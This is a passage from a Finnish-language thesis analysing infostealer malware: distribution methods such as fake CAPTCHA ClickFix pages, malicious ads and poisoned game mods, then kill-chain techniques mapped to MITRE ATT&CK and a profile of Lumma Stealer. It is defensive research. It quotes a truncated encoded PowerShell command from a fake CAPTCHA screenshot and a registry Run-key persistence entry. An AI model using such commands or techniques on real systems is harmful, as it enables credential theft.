Seuraavissa alaluvuissa esitellaan konkreettisia esimerkkitapauksia, jotka havainnollistavat

hyokkaajien monipuolisia ja ovelia menetelmia infostealer-haittaohjelmien levittdmisessa.

4.3.1 Haitalliset mainokset hyokkayskeinona

Haitalliset mainokset ovat rikollisten kayttama tapa levittaa haittaohjelmia ostettujen
mainospaikkojen kautta (Logpoint, 2024, s.9). Vuonna 2023 Vidar-haittaohjelmaa levitettiin
Google-mainosten avulla. Rikolliset hyddynsivat suosittuja hakutermeja, kuten "Notepad++"
ja "Photoshop", ja nostivat haitalliset mainoksensa hakutulosten karkeen
hakukoneoptimoinnilla ja mainosostoilla. Uhrit, jotka etsivat ohjelmistojen latauslinkkeja,
saattoivat vahingossa klikata huijausmainosta virallisen linkin sijaan. Mainokset johtivat
huijaussivustoille, jotka jaljittelivat virallisia verkkosivustoja. Latauslinkkien takaa 16ytyi
tiedosto, joka sisalsi Vidar-haittaohjelman, joka aktivoitui heti asennuksen yhteydessa.
Hydkkaykset ohittavat usein tekniset suojaukset, koska kayttdja itse asentaa haitallisen
ohjelmiston. Darktrace (2023) kehottaakin lataamaan ohjelmia vain virallisilta

verkkosivuilta, ei mainoslinkkien kautta.

4.3.2 Haittaohjelmat Steamissa ja GitHubissa

Infostealer-haittaohjelmat voivat piiloutua my6s odottamattomiin paikkoihin, kuten
pelipalvelu Steamiin tai ohjelmistokehitysalusta GitHubiin. Vuonna 2024 Steam veti
jakelusta ilmaispelin nimelta PirateFi, joka sisélsi Vidar-haittaohjelman. Pelin ehti ladata
noin 1500 kayttajaa viikon aikana. (Toulas, 2025) Samankaltaisia tapauksia on raportoitu
GitHubissa, jossa Vidar- ja Lumma Stealer -haittaohjelmia levitettiin tekaistuina
pelimodeina. Nakyvyytta niille saatiin esimerkiksi YouTube-pelivideoiden avulla. Erityisen

alttiita tallaisille hyokkayksille ovat nuoret intohimoiset pelaajat. Heita houkutellaan
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erilaisilla pelihuijauksilla, joita markkinoidaan turvallisina ja joiden vaitetadan olevan
riskittomia kayttaa ilman kiinnijjadamisen vaaraa. Luotettavalta nayttavat jakelukanavat
tekevat hyokkayksista tehokkaita ja korostavat kriittisen ajattelun seka latauslahteen

tarkistamisen merkitysta. (Ahmed, 2025)

4.3.3 Vaarennetty CAPTCHA: Naenndinen varmistus, todellinen uhka

Loppuvuodesta 2024 havaittiin kampanjoita, joissa haittaohjelmia levitettiin vaarennettyjen
CAPTCHA-varmistusten avulla. ClickFix-menetelmaksi kutsutussa huijauksessa kayttajia
ohjattiin uskottavalta nayttaville sivustoille haitallisten mainosten ja tietojenkalastelun
keinoin. (Kyberturvallisuuskeskus, 2024) Sivustolla kayttajaa kehotettiin klikkaamaan "I'm
not a robot" -painiketta, mika laukaisi huomaamattoman JavaScript-skriptin. Skripti kopioi
uhrin leikepdydalle PowerShell-komennon, jonka tarkoituksena oli ladata haittaohjelma.
Seuraavaksi sivusto antoi ohjeet: painaa "Windows + R" avatakseen suoritusikkunan, "Cirl
+ V" liittddkseen komennon ja lopuksi "Enter" suorittaakseen sen. Tama huolellisesti
rakennettu huijaus sai kayttajan itse kaynnistamaan hyokkayksen luullen suorittavansa
tavallisen CAPTCHA-varmistuksen. Kuva 7 nakyy esimerkki tallaisesta huijaussivusta.
Yleisimmin hydkkayksissa kaytettdan PowerShell-komentoa, joka lataa ja suorittaa
verkosta haetun haittaohjelman. Nain on erityisesti levitetty Lumma Stealer -haittaohjelmaa
loppuvuodesta 2024. (Kumar, 2024; CloudSEK TRIAD, 2024) Hyokkayksen tehokkuus
piilee sen julmuudessa, silld uhri suorittaa varsinaisen hydkkayksen itse. Kokemattoman
kayttajan on lahes mahdoton ymmartaa, mitd ndenndisesti yksinkertaisilla

nappainpainalluksilla todella saadaan aikaan.
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Kuva 7. Vaarennetty CAPTCHA-sivusto, ohjeistaa kayttajaa suorittamaan haitallisen

PowerShell-komennon Run-dialogin kautta (Kumar, 2024)

~ (<) Verify You Are Human * +

< > C 23 ch3.dlvideosfre.click/human-verify-system.html

Verification
Steps

@ Type the name of a program, folder, document, or Internet
resource, and Windows will open it for you,

1. Press Windows
Button "#&" + R

2. Press CTRL+ V

3. Press Enter

Open: | bowershell.exe -elC bOBzAGgAdABhRACAAaABOAHOQAC

4.3.4 Haitallinen koodi mediatiedostossa

Kuvien ja muiden mediatiedostojen hyédyntaminen haitallisen koodin piilopaikkana on
kasvava ilmid. Rikolliset katkevat kuvatiedostoihin esimerkiksi infostealer-haittaohjelmien
osia piilottamalla komentoja kuvan metatietoihin tai pikselien vahiten merkittaviin bitteihin
(eng. Least Significant Bit, LSB). Naita kuvia levitetdan yha useammin luotettavina

pidetyissa ymparistdissa, kuten sosiaalisessa mediassa ja avoimissa koodipalveluissa.
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Kuvat toimivat hyokkayksissa piilotettujen hyotykuormien kuljettajina, mutta itse koodi
tarvitsee laukaisijan, kuten PowerShell-komennon tai makroskriptin, joka suorittaa piilotetun
datan. (Fernandez, 2025; HP Wolf Security, 2025)

Yksi tapaus liittyi vaarennettyyn CAPTCHA-sivustoon, jonka kautta ladattiin mp3-tiedosto,
jossa haitallista HTML-sovelluskoodia oli upotettu musiikkitiedostoon. Tiedosto toimi
normaalina kappaleena, mutta kun se avattiin Windowsin mshta.exe-ohjelmalla, piilotettu

koodi aktivoitui ja infostealer-haittaohjelma kaynnistyi huomaamatta. (Hammond, 2025)

Tallaiset hyokkaykset yhdistavat sosiaalisen manipuloinnin tekniseen hienostuneisuuteen.
Mediatiedostot voivat nayttaa taysin normaaleilta, mutta toimivat laukaisimena
haittaohjelman asennusketjulle. Tama osoittaa, etta haitallisuuden tunnistaminen ei riipu

vain tiedoston nakyvasta sisallosta, vaan myds siita, missa ja miten se avataan.

4.3.5 Polymorfinen selainlaajennus

SquareX Lab (2025) on havainnut uudenlaisen hyokkaystavan, jossa haitallinen
selainlaajennus jaljittelee taydellisesti uhrin selaimeen asennettuja laajennuksia. Tata
polymorfista laajennusta kaytetaan arkaluontoisten tietojen, kuten salasanojen ja
kryptovaluuttalompakoiden tunnuksien varastamiseen. Hyokkaaja julkaisi Chrome Web
Storessa laajennuksen, joka esiintyi hyodyllisena tekoalytydkaluna ja houkutteli uhreja
asentamaan sen esimerkiksi sosiaalisessa mediassa jaettujen linkkien kautta. Asennuksen
jalkeen laajennus pyysi kayttajaa kiinnittdamaan sen selaimen tydkalupalkkiin ja toimi aluksi
lupaamallaan tavalla luottamuksen herattdmiseksi. Taustalla laajennus tarkkaili, mitd muita
selainlaajennuksia kayttajalla oli asennettuna, ja tunnisti niitd esimerkiksi ikonitiedostojen
perusteella. Kun kohteeksi I16ytyi sopiva laajennus, kuten 1Password-salasanamanageri,
polymorfinen laajennus muutti ulkoasunsa ja toiminnallisuutensa jaljitellen sita. Kayttgjan
yrittdessa kayttaa alkuperaiseksi luulemaansa laajennusta polymorfinen versio sieppasi
siihen syotetyt tiedot. HyOkkays on erityisen vaarallinen, koska se ei vaadi selaimen tai
kayttojarjestelman haavoittuvuuksia, vaan perustuu kayttajan huijaamiseen ja laajennusten
jaljittelyyn. Tapaus korostaa, kuinka tarkeda on asentaa laajennuksia vain luotettavista
lahteista ja suhtautua varauksella uusiin laajennuksiin, vaikka ne vaikuttaisivatkin

hyddyllisilta.
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4.3.6 Kohteena asiakaspalvelu

Zhong Stealer on vuonna 2024 havaittu kiinalaislahtdinen infostealer-haittaohjelma, jota on
kaytetty erityisesti finanssiteknologia-alan asiakaspalveluhenkilostoon kohdistuvissa
hyokkayksissa. Hyokkayksissa yhdistyvat perinteinen sdhkopostihuijaus ja kielellisesti
kohdistettu sosiaalinen manipulointi. Hyokkaysketju alkaa huonosti kirjoitetulla, epaselvalla
kiinankieliselld avunpyyntoviestilla, jonka liitteena on Excel-tiedosto haitallisen
makroskriptin kanssa. Kun asiakaspalvelija avaa tiedoston ja sallii makrot, skripti lataa ja
suorittaa Zhong Stealer -haittaohjelman. Tapaus osoittaa, kuinka tarkeaa on tunnistaa
kohdistettu ja kontekstiltaan uskottava huijausviestinta, erityisesti kun kohteena ovat
asiakaspalvelun kaltaiset, usein kiireiset ja suurta luottamusta vaativat tyoroolit. (Sultan,
2025; Tano, 2025)

4.4 Infostealer-haittaohjelmien toimintatavat

Infostealer-haittaohjelmien tavoitteena on varastaa mahdollisimman paljon arvokasta tietoa
mahdollisimman huomaamattomasti. Niiden toimintaketju (eng. kill chain) voidaan jakaa
viiteen paavaiheeseen: suoritus, pysyvyys, nhaamioituminen, datan kerddminen ja datan
siirtdminen, kuten Kuva 8 on havainnollistettu. (Logpoint, 2024, ss. 7—8) Naiden vaiheiden

keskeiset toiminnot ja tekniikat on esitetty seuraavissa luvuissa.

Kuva 8. Infostealer-haittaohjelman toimintaketju

Suoritus

Pysyvyys

Naamioituminen

Datan keraaminen

Datan siirtaminen
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Infostealer-haittaohjelma tarkistaa ensin millaiseen ymparistddn se on asentunut ja
varmistaa, ettei kyseessa ole analyysitydkalu tai hiekkalaatikko (eng. sandbox). T&man
jalkeen se keraa tietoja esimerkiksi selaimista, sovelluksista ja kayttajan tiedostoista, ja
siirtaa ne rikollisen ohjauspalvelimelle. Lopuksi haittaohjelma usein poistaa itsensa ja pyrkii

jattamaan mahdollisimman vahan jalkia. (Ahmed, 2023)

4.41 Suoritusvaihe

Suoritusvaiheessa infostealer-haittaohjelma aktivoituu uhrin jarjestelmassa. Tama voi
tapahtua joko hyddyntamalla ohjelmistohaavoittuvuuksia tai huijaamalla kayttaja

suorittamaan haitallinen tiedosto.

Yksi keino on laitteen haavoittuvuuden hyddyntaminen (MITRE ATT&CK®-tekniikka
Exploitation for Client Execution [T1203]). Esimerkiksi Redline Stealerin on havaittu
kayttavan hyvakseen Chromen V8-moottorin haavoittuvuutta (CVE-2022-1096) ja Internet
Explorerin muistinkasittelyvirhetta (CVE-2021-26411). (Logpoint, 2024, ss. 14-16)

Toinen yleinen tapa on manipuloida kayttajaa avaamaan haitallinen tiedosto (MITRE
ATT&CK®-tekniikka User Execution [T1204]) ja kdynnistdmaan komentosarjoja (MITRE
ATT&CK®-tekniikka Command and Scripting Interpreter [T1059]). Tall6in esimerkiksi
sahkopostin liitteena toimitettu tiedosto sisaltda upotetun PowerShell- tai CMD-komennon,
joka lataa ja suorittaa haittaohjelman. Erddssa Lopgpointin (2024, s. 18) analyysissa
Redline Stealer kaytti cmmd.exe-ohjelmaa ajaakseen bat-tiedoston uhrin temp-kansiosta.

Taman suorituksen alku nékyy ANY.RUN-hiekkalaatikon analyysikuvassa (Kuva 9).
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Kuva 9. Redline stealer -naytteen suorituksen alku. (ANY.RUN, 2023)

A2 Malicious activity
af16c9b8aBcalb632d9ca91a8411ec57

Win7 64dbit )
Win7 64bit rat redline

Indicators: = &5

Get sample

Text report

Processes

- af16c9bBaBcalb632d9%ca91a8411ech7.exe

44.2 Pysyvyyden varmistaminen

Tracker: Remo Trojan, RedLine
Restart

Summary Export -

Only important

PE

Kun infostealer-haittaohjelma aktivoituu uhrin jarjestelmassa, sen seuraava tavoite on

varmistaa pysyvyys. Tama tarkoittaa, etta haittaohjelma sailyy toiminnassa myds

uudelleenkaynnistysten jalkeen ja jatkaa tietojen keruuta huomaamattomasti. Windows-

ymparistdossa pysyvyys toteutetaan usein lisdamalla haittaohjelman suoritustiedosto
rekisterin Run-avaimeen (MITRE ATT&CK®-tekniikka Boot or Logon Autostart
Execution: Registry Run Keys/Startup Folder [T1547.001]). Esimerkiksi Kuva 10 nakyy
kuinka Redline Stealer on lisannyt rekisteriin tiedoston nimelta services32.exe, joka

muistuttaa jarjestelmatiedostoa mutta sijaitsee eri hakemistossa kuin normaalisti.

(Logpoint, 2024, s. 20)
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Kuva 10. Windows rekisterin automaattikaynnistysohjelmien muokkaaminen (Cynet, 2025)

B Registry Editor

File Edit View Favorites Help

|Comeuter\HKEY_CURRENT_USER\SOF'l"-.'VARE\Microsoft‘-.Windows\CurrentVersion‘-.Run |

A || Name Type Data
i< JE— :
o || 2Ri(Default) REG_SZ (value not set)
' t ab) services32 REG_SZ C:\Users\user\services32.exe
1

Toinen yleinen menetelma on hyddyntaa Windowsin ajastettuja tehtavia (eng. Task
Scheduler), jolloin haittaohjelma voidaan ajastaa toistuvasti suoritettavaksi, esimerkiksi
minuutin valein (MITRE ATT&CK®-tekniikka Scheduled Task/Job: Scheduled Task
[T1053.005]) (Logpoint, 2024, s. 21). Esimerkiksi Quorum Cyberin (2023) analysoima Vidar

Stealer -haittaohjelma versio varmisti pysyvyyden talla menetelmalla.

Pysyvyysvaiheessa haittaohjelma usein tarkistaa myos, missa ymparistdossa se toimii.
Monet infostealerit, kuten Amadey, Raccoon Stealer ja MetaStealer, estavat toimintansa,
jos ne havaitsevat virtuaalikoneen tai analyysitydkalun (MITRE ATT&CK®-tekniikka
Virtualization/Sandbox Evasion [T1497]). (ANY.RUN, n.d.-c; hardee, 2022; ANY.RUN,
n.d.-e)

Joissain tapauksissa haittaohjelma pyrkii myds korottamaan kayttdoikeuksiaan
jarjestelmassa. Esimerkiksi muokkaamalla Windowsin EnableLUA-rekisteriavainta
haittaohjelma voi kiertdd User Account Control (UAC) -suojauksen ja toimia vapaammin
jarjestelmassa (MITRE ATT&CK®-tekniikka Abuse Elevation Control Mechanism:
Bypass User Account Control [T1548.002]). (Logpoint, 2024, s. 22)

4.4.3 Jalkien piilottaminen ja naamioituminen

Infostealer-haittaohjelmat pyrkivat minimoimaan jalkensa jo hyokkayksen aikana
sailyttddkseen huomaamattomuutensa ja estddkseen analyysin tai torjunnan. Yksi yleinen

tekniikka on tiedostojen poistaminen ja prosessien sammuttaminen hytkkayksen jalkeen
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(MITRE ATT&CK®-tekniikka Indicator Removal on Host: File Deletion [T1070.004]).
(Logpoint, 2024, s. 26)

Naamioituminen kulkee kasi kddessa jalkien piilottamisen kanssa. Haittaohjelmat voivat
piilottaa tiedostonsa muuttamalla niiden attribuutteja niin, etteivat ne nay oletuksena
tiedostonhallinnassa (MITRE ATT&CK®-tekniikka Hide Artifacts: Hidden Files and
Directories [T1564.001]). Lisdksi PowerShell-komentoja voidaan ajaa ilman nakyvaa
komentoruutua WindowStyle Hidden -parametrilla (MITRE ATT&CK®-tekniikka Hide
Artifacts: Hidden Window [T1564.003]). (Logpoint, 2024, s. 23)

Useat infostealerit pyrkivat myés kiertamaan virustorjunnan ja palomuurit, esimerkiksi
muokkaamalla Windows Defenderin asetuksia PowerShell-komennolla Add-MpPreference
(MITRE ATT&CK®-tekniikka Impair Defenses: Disable or Modify Tools [T1562.004])
(Logpoint, 2024, s. 23).

Prosessin injektointi (MITRE ATT&CK®-tekniikka Process Injection [T1055]) on yleinen
menetelma, jossa haittaohjelma suorittaa koodinsa toisen prosessin muistissa. Erityisesti
process hollowing -tekniikassa haitallinen koodi korvaa kokonaan alkuperaisen prosessin
sisallon, sailyttaen kuitenkin luotettavalta nayttavan prosessin nimen ja sijainnin. Toinen
naamiointikeino on ohjelmien esittdminen harmittomina jarjestelmatiedostoina, kuten
svchost.exe tai service32.exe, ja niiden sijoittaminen System32-kansioon (MITRE
ATT&CK®-tekniikka Masquerading: Match Legitimate Name or Location [T1036.005]).
(Kleymenov & Thabet, 2022, Inspecting Process Injection and APl Hooking -luku,
ensimmainen kappale; Logpoint, 2024, s. 28)

Haittaohjelmat vaikeuttavat analyysia myds kooditasolla obfuskoinnilla, eli tekemalla
koodista vaikeasti luettavaa (MITRE ATT&CK®-tekniikka Obfuscated Files or
Information [T1027]). Lisaksi haitallinen sisaltd saatetaan salata tai pakata erityisilla
tydkaluilla (eng. packer), jotka purkavat koodin vasta suoritusvaiheessa. (Logpoint, 2024, s.
31; Kleymenov & Thabet, 2022, Unpacking, Decryption, and Deobfuscation -luku,

ensimmainen kappale)
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4.4.4 Datan kerays

Infostealer-haittaohjelmien keskeinen tavoite on keratéd mahdollisimman paljon arvokasta
tietoa tartunnan saaneelta laitteelta. Tiedonkeruu alkaa ymparistdn kartoituksella:
haittaohjelma selvittaa kayttojarjestelmatiedot, kayttajaprofiilit, asennetut ohjelmistot,
laitteen sijainnin ja lahiverkkokytkennat, yleensa lukemalla Windowsin rekisteriavaimia.
Joissain tapauksissa, jos haittaohjelma esimerkiksi tunnistaa laitteen sijaitsevan tietyssa
maassa (esimerkiksi entisen Neuvostoliiton alueen valtioissa), se saattaa keskeyttaa

toimintansa. (Logpoint, 2024, s. 33)

Tiedonkeruun kohteena ovat erityisesti verkkoselaimet, joihin tallennetaan
kayttajatunnuksia, salasanoja, luottokorttitietoja ja evasteitd (MITRE ATT&CK®-tekniikat
Credentials from Password Stores: Credentials from Web Browsers [T1555.003] ja
Steal Web Session Cookie [T1539]). Vaikka tiedot ovat usein salattuja, monet

infostealerit kykenevat purkamaan ne kayttokelpoiseen muotoon. (Logpoint, 2024, s. 31)

Tietoa varastetaan myos sovelluksista kuten VPN-ohjelmista, sahkopostiohjelmista ja
pikaviestipalveluista, etsimalla niiden konfiguraatiotiedostoja ja rekisterimerkintdja (MITRE
ATT&CK®-tekniikka Unsecured Credentials [T1552]). (Logpoint, 2024, s. 32)

Infostealerit hyddyntavat myds ruutukaappauksia esimerkiksi .NET-ymparistdn
Graphics.CopyFromScreen-rajapinnan avulla seka lukevat laitteen leikepdydan sisaltda,
jossa voi olla esimerkiksi kopioituja salasanoja (MITRE ATT&CK®-tekniikat Screen
Capture [T1113] ja Clipboard [T1115]) (Logpoint, 2024, s. 35).

Keratty tieto pakataan ja usein salataan esimerkiksi ZIP-arkistoksi, mika vaikeuttaa
havainnointia verkon valvontatyokaluilla. Pakattu tiedosto, niin sanottu loki, sisaltda kaikki
varastetut tiedot jasenneltyind. (MITRE ATT&CK®-tekniikka Archive Collected Data
[T1560]) (Logpoint, 2024, s. 33; Ahmed, 2024).

Esimerkiksi Raccoon Stealer 2.0 skannaa selainten profiilikansioita ja hakee tiettyja
SQLite-muotoisia tiedostoja, kuten Login Data ja Cookies, joissa on tallennettuna
kirjautumistietoja ja evasteita. Haittaohjelma kayttaa omia sisdanrakennettuja tyokalujaan

naiden tietojen purkamiseen. (hardee, 2022)
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4.4.5 Datan siirto rikolliselle

Kun infostealer-haittaohjelma on kerannyt haluamansa tiedot, se siirtaa ne rikolliselle
taholle komento- ja hallintapalvelimen (eng. Command and Control, C2) kautta (MITRE
ATT&CK®-tekniikka Exfiltration Over C2 Channel [T1041]). Useimmiten tiedot siirretaan
suoraan internetin yli kayttamalla tavallisia verkkoprotokollia, kuten HTTP ja HTTPS
(MITRE ATT&CK®-tekniikka Application Layer Protocol: Web Protocols [T1071.001]).
Vaihtoehtoisesti tietoa saatetaan siirtdd sahkdpostin, Telegramin tai Discordin valityksella
(MITRE ATT&CK®-tekniikka Exfiltration Over Alternative Protocol [T1048]). (Logpoint,
2024, s. 36)

Joissain tapauksissa haittaohjelma kayttaa laillisia verkkopalveluita niin sanottuina
valipalvelimina. Esimerkiksi ACRStealer kayttaa tekniikkaa nimelta Dead Drop Resolver,
jossa C2-palvelimen osoite haetaan julkisesta Steam-profiilista. Nain C2-osoitteita voidaan

muuttaa ilman haittaohjelman paivitystarvetta. (Asec, 2025)

Rikollisilla on usein kaytéssdaan ammattimaisia C2-hallintapaneeleita, joiden kautta he
voivat tarkastella varastettua dataa reaaliaikaisesti, hallita bottiverkkoja ja ohjata
lisatoimintoja, kuten uusien hydtykuormien lataamista (ThreatDown, 2021). Monissa
tapauksissa infostealer poistaa itsensa laitteelta datan siirron jalkeen, mika vaikeuttaa

jalkikateista analyysia ja suojatoimien kehittamista.

Kun rikolliset saavat haltuunsa infostealerin kerddman datan, se paatyy usein myyntiin
rikollisten markkinapaikoille tai Telegram-kanaville. Naissa ymparistdissa varastettu data
levidd nopeasti ja hallitsemattomasti, mika tekee leviamisen pysayttamisesta vaikeaa.
(Clay, 2023, s.9; Maguire, 2024)

4.5 Lumma stealer

Lumma Stealer, joka tunnetaan myds nimelld LummaC2, on yksi viime aikojen
tunnetuimmista ja laajimmin levinneista infostealer-haittaohjelmista. Ensimmainen versio
havaittiin elokuussa 2022, minka jalkeen haittaohjelmaa on kehitetty ja paivitetty
sadanndllisesti. Lumma on kirjoitettu C-kielella ja sen toiminta kohdistuu laajasti eri
Windows-versioihin. Kehitystyon taustalla uskotaan olevan rikollisryhma3, jonka kotipaikka

sijaitsee todennakdisesti entisen Neuvostoliiton alueella. (Uptycs, n.d.; ANY.RUN, n.d.-k)
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Toisin kuin monet tarkasti kohdennetut haittaohjelmat, Lumma Stealer on rakennettu
laajaan levitykseen. Sita on levitetty esimerkiksi piraattiohjelmistojen, tekaistujen OnlyFans-
hakkerointityOkalujen ja vaarennettyjen CAPTCHA-sivustojen avulla. (Waqas, 2024a;
Wagas, 2024b) Lummaa myydaan verkkorikollisten markkinapaikoilla ja Telegrammissa
Malware-as-a-Service (MaaS) -palveluna eri tilausvaihtoehdoilla. Perusversion hinta on
noin 250 dollaria, mutta kehittyneemmat versiot voivat maksaa jopa 1000 dollaria. Aiemmin
koko haittaohjelman I&hdekoodi ja hallintapaneeli on ollut ostettavissa noin 20 000 dollarin
hintaan. (KrakenlLabs, 2025a) Telegrammin virallisella LummaC2-kanavalla on yli 1800
jasenta ja kanavan yllapitajat julkaisevat siella aktiivisesti paivityksia ja mainoksia

palveluistaan (Hilligoss, 2023).

Lumma Stealer on suunniteltu keradmaan laajasti arkaluontoista dataa. Se varastaa
salasanoja, selaintietoja, salasanojenhallintaohjelmien tietovarastoja ja

etatydpoytasovellusten asetustiedostoja. (Hilligoss, 2023).

Teknisesti LummaC2 on erittain kehittynyt. Se hyddyntaa kaksikerroksista pakkaajaa, jonka
ensimmainen kerros sisaltaa suuria maaria kayttokelvotonta assembly-koodia analyysin
hidastamiseksi, ja toinen kerros purkaa haittaohjelman suoraan muistiin ilman tiedostojen
tallentamista levylle. Tdma tiedostoton toiminta auttaa valttelemaan havaitsemista. Lisaksi
Lumma kayttaa laajasti obfuskointitekniikoita ohjelman loogisen virran hajauttamiseen.
Kuva 11 esittda visuaalisesti nama pakkaajan kerrokset ja niiden valiset siirtymat.
(KrakenLabs, 2025b; KrakenLabs, 2025a)

Kuva 11. LummaC2 v4.0 pakkaaja kerrokset (KrakenLabs, 2025b)
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LummaC2 sisaltdd myos kehittyneitd antianalyysiominaisuuksia. Versiossa 4.0 on kaytossa
anti-sandbox-tekniikka, jossa haittaohjelma tarkkailee hiiren liikettd GetCursorPos()-
funktion avulla. Jos liiketta ei havaita 300 millisekunnin sisalla, ohjelma ei kaynnisty.
Haittaohjelma hyoédyntaa trigonometrista analyysia ihmismaisen kaytdksen tunnistamiseen.
(KrakenLabs, 2025Db)

Toiminnallisesti Lumma keskittyy yksinomaan tiedon varastamiseen eika kayta
pysyvyysmekanismeja. Se ei myodskaan tarkista kdynnissa olevien instanssien maaraa,
mika erottaa sen monista muista infostealer-haittaohjelmista. Aluksi Lumma keraa
jarjestelmatiedot, kayttajaprofiilin .txt-tiedostot ja kryptovaluuttalompakoiden tiedot ja siirtaa
ne C2-palvelimelle. Taman jalkeen haittaohjelma varastaa tietoja selaimista, kuten
Chromesta ja Edgesta, seka etsii varastettavia tietoja kryptovaluuttalompakkojen ja
kaksivaiheisen todennuksen (2FA) selainlaajennuksista. Lopuksi se kasittelee viela
Firefoxin erikseen. Jokaisen keratyn tietokokonaisuuden jalkeen tiedot pakataan ja
siirretaan C2-palvelimelle. Tama vaiheittainen tiedonsiirto mahdollistaa sen, etta hyokkays
voi onnistua osittain, vaikka prosessi keskeytyisi ennen taydellista tiedonkeruuta.
(KrakenLabs, 2025a) LummaC2:n hydkkayksen eteneminen vaiheittain on havainnollistettu
Kuva 12.
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Kuva 12. LummaC2:n toimintaketju tiedonkeruusta tiedonsiirtoon (KrakenLabs, 2025a)
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Haittaohjelman kehittajat ovat tehneet LummaC2:sta modulaarisen ja joustavan.
Uusimmissa versioissa on ominaisuuksia, jotka osaavat varastaa Discord-tunnuksia,
Steam-profiilitietoja ja Notepad++-editorin istuntotietoja. Lisaksi kaytdssa on C2 fallback -
jarjestelma, jossa varayhteyksia komentopalvelimiin haetaan esimerkiksi Steam-profiileista.
(James, 2024)

Erityisen huolestuttava ominaisuus on mahdollisuus muuttaa uhrin tietokone
valityspalvelimeksi GhostSocks-tyokalun avulla. Taman avulla hyokkaajat voivat
esimerkiksi uudistaa vanhentuneita Google-tokeneita ja kiertaa laitteeseen perustuvia
suojausmekanismeja. Saavutettu sisdanpaasy voidaan myds myyda edelleen

kiristysohjelmatoimijoille. (James, 2024)
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Lumma Stealerin kehittajat ovat panostaneet erityisesti analysoinnin ja tutkimisen
estamiseen. Esimerkiksi v4.0-versiossa haittaohjelma tarkistaa, onko se suojattu erillisella
crypter-ohjelmalla ennen kaynnistymista. Mikali suojausta ei havaita, ohjelma keskeyttaa

toimintansa ja ndin estdad mahdollisen puhtaan version analysoinnin. (KrakenLabs, 2025b)

Taman opinnaytetydn kirjoittamisen aikana, toukokuussa 2025, useat kansainvaliset
viranomaiset toteuttivat laajamittaisen operaation Lumma Stealer -haittaohjelman
infrastruktuuria vastaan yhteistydssa Microsoftin kanssa. Operaation seurauksena saatiin
suljettua merkittava maara haittaohjelman komentopalvelimia ja jakelukanavia. (Masada,
2025) Lisaksi INTERPOL suoritti alkuvuonna 2025 Operation Secure -nimisen
kansainvalisen toimenpiteen, jonka aikana suljettiin yli 20 000 haitallista IP-osoitetta ja
verkkotunnusta, mukaan lukien Lumma Stealeriin liittyvaa infrastruktuuria (INTERPOL,
2025). Vaikka toimet ovat olleet merkittavia ja ovat selvasti hairinneet Lumma Stealerin
toimintaa, haittaohjelma ei ole kadonnut. Sen kehittajat ovat jatkaneet infrastruktuurin
palauttamista ja pyrkivat yllapitamaan rikollista mainettaan, joka nykyisessa
kyberrikollisuuden toimintaymparistdéssa on usein tarkeampaa kuin itse tekninen
infrastruktuuri. (Check Point Research, 2025)

Kaiken kaikkiaan Lumma Stealer on aarimmaisen monipuolinen, modulaarinen ja teknisesti
edistynyt haittaohjelma, jonka jatkuva kehitys ja havainnointia valttelevat tekniikat tekevat

siitd vakavan uhan seka yksityishenkilGille ettd organisaatioille.
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5 Haittaohjelmien tunnistaminen ja torjunta

Haittaohjelmien torjunnassa nopea tunnistaminen on ensiarvoisen tarkeaa. Mita
aikaisemmin uhka havaitaan, sitd helpommin se voidaan estaa. (Malwarebytes, n.d.)
Infostealer-haittaohjelmien kohdalla pelkka virustorjunta ei usein riita, sillda nama
haittaohjelmat voivat ladata itsensa huomaamattomasti ja ohittaa perinteiset suojaukset.
Niiden tunnistaminen edellyttda usein perusteellista analyysia, joka kohdistuu tiedostoihin,
sahkoposteihin ja verkkokayttaytymiseen. Tallainen analyysi voi kuitenkin herattaa
yksityisyyden suojaan liittyvia huolia, erityisesti silloin, kun analysoitava tiedosto joudutaan
lahettdmaan pilvipohjaiseen tarkastukseen. (Dara ym., 2018, ss. 28-29) Tassa luvussa
tarkastellaan, millaisia menetelmia ja teknologioita infostealer-haittaohjelmien

tunnistamiseen ja torjuntaan on kaytettavissa.

Infostealer-haittaohjelmien levidminen tapahtuu paaasiassa tietojenkalastelukampanjoiden
valitykselld, mika tekee kayttdjien tietoisuuden lisddmisesta keskeisen torjuntakeinon.
Organisaatioiden tulisi kouluttaa tyontekij6itad tunnistamaan tietojenkalastelun eri muodot ja
kannustaa turvallisiin toimintatapoihin. (Logpoint, 2024, s. 54) Benjamin Sarkka korostaa
Women4Cyber Finlandin (2025) haastattelussa, ettad onnistumisista palkitseminen edistaa

turvallista toimintakulttuuria tehokkaammin kuin epaonnistumisista rankaiseminen.

Kirjoittajan ndkemyksen mukaan pelkkdan epaonnistumiseen keskittyvat kaytannot, kuten
tietojenkalastelutestien “epaonnistumisen” jalkeinen lisdkoulutus, voivat heikentaa
henkildstén motivaatiota ja avoimuutta oikeissa tietojenkalastelu tilanteissa. Siksi on
erityisen tarkeaa panostaa yksildiden tietoturvatietoisuuden kasvattamiseen. Tassa
korostuvat muun muassa laheisten esimerkillinen toiminta, viranomaistiedotus ja median

rooli.

Suomessa Kyberturvallisuuskeskus tekee aktiivisesti tiedotus- ja opastusty6ta tuodakseen
tietoturvaa lahemmas yksittaista kansalaista, esimerkiksi kybersaa-julkaisujen avulla
(Kyberturvallisuuskeskus, n.d.). Myds Cyber Citizen-hanke korostaa, etta tietoturvataitojen

tulee olla osa kaikkien kansalaistaitoja (Cyber Citizen, n.d.).

Jos vahinko kuitenkin ehtii tapahtua, tilanteesta on tarkeaa ottaa opiksi. Keskeisia keinoja
torjuntakyvyn parantamiseksi ovat tehokas haittaohjelmien tunnistaminen ja analysointi

seka tartuntojen tunnusmerkkien (eng. indicator of compromise, IOC) tallentaminen
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virustorjuntatietokantoihin. Lisaksi virustorjuntaohjelmistojen ajantasaisuus, vuototietojen
seuranta ja jatkuva valppaus uudenlaisen hyokkaysinfrastruktuurin varalta ovat

valttamattdmia kaytantoja infostealer-haittaohjelmien torjumiseksi. (Clay, 2023, s. 13)

5.1 Virustorjuntaohjelmistot

Virustorjuntaohjelmistot ovat keskeinen osa infostealer-haittaohjelmien torjuntaa. Niiden
tehtavana on suojata laitteita tunnistamalla, estamalla ja poistamalla haittaohjelmia.
Aiemmin virustorjunta perustui lahinna tunnistetietoihin (engl. signature-based detection),
mutta nykyisin hyodynnetdan myos heuristiikkaa, kayttaytymisanalyysia ja koneoppimista.

(Rains, 2023, The evolution of malware -luku, yhdeksas kappale)

Tunnistetietopohjainen tunnistus perustuu aiemmin havaittujen haittaohjelmien koodin,
hajautustiivisteiden (hash-arvojen) tai bindarirakenteiden vertailuun. Menetelma on tehokas
tunnettuja haittaohjelmia vastaan, mutta heikompi uusia ja muuntuvia variantteja vastaan.
